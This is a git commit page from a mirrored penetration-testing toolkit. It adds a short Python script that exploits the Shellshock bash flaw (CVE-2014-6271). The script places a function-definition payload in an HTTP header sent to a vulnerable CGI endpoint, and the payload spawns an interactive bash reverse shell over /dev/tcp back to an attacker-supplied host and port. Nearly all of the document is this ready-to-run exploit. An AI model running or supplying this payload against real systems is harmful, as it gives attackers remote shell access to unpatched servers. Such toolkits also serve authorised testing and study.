mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-06 00:35:04 -04:00
some small fixes
This commit is contained in:
parent
16757b10ac
commit
9df63fa0ec
11 changed files with 1146 additions and 0 deletions
21
OS_Injections/ShellShocker/scripts/cgi-bin-reverse-shell.py
Normal file
21
OS_Injections/ShellShocker/scripts/cgi-bin-reverse-shell.py
Normal file
|
@ -0,0 +1,21 @@
|
|||
#
|
||||
#CVE-2014-6271 cgi-bin reverse shell
|
||||
#
|
||||
|
||||
import httplib,urllib,sys
|
||||
|
||||
if (len(sys.argv)<4):
|
||||
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
|
||||
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
|
||||
exit(0)
|
||||
|
||||
conn = httplib.HTTPConnection(sys.argv[1])
|
||||
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
|
||||
|
||||
headers = {"Content-type": "application/x-www-form-urlencoded",
|
||||
"test":reverse_shell }
|
||||
conn.request("GET",sys.argv[2],headers=headers)
|
||||
res = conn.getresponse()
|
||||
print res.status, res.reason
|
||||
data = res.read()
|
||||
print data
|
Loading…
Add table
Add a link
Reference in a new issue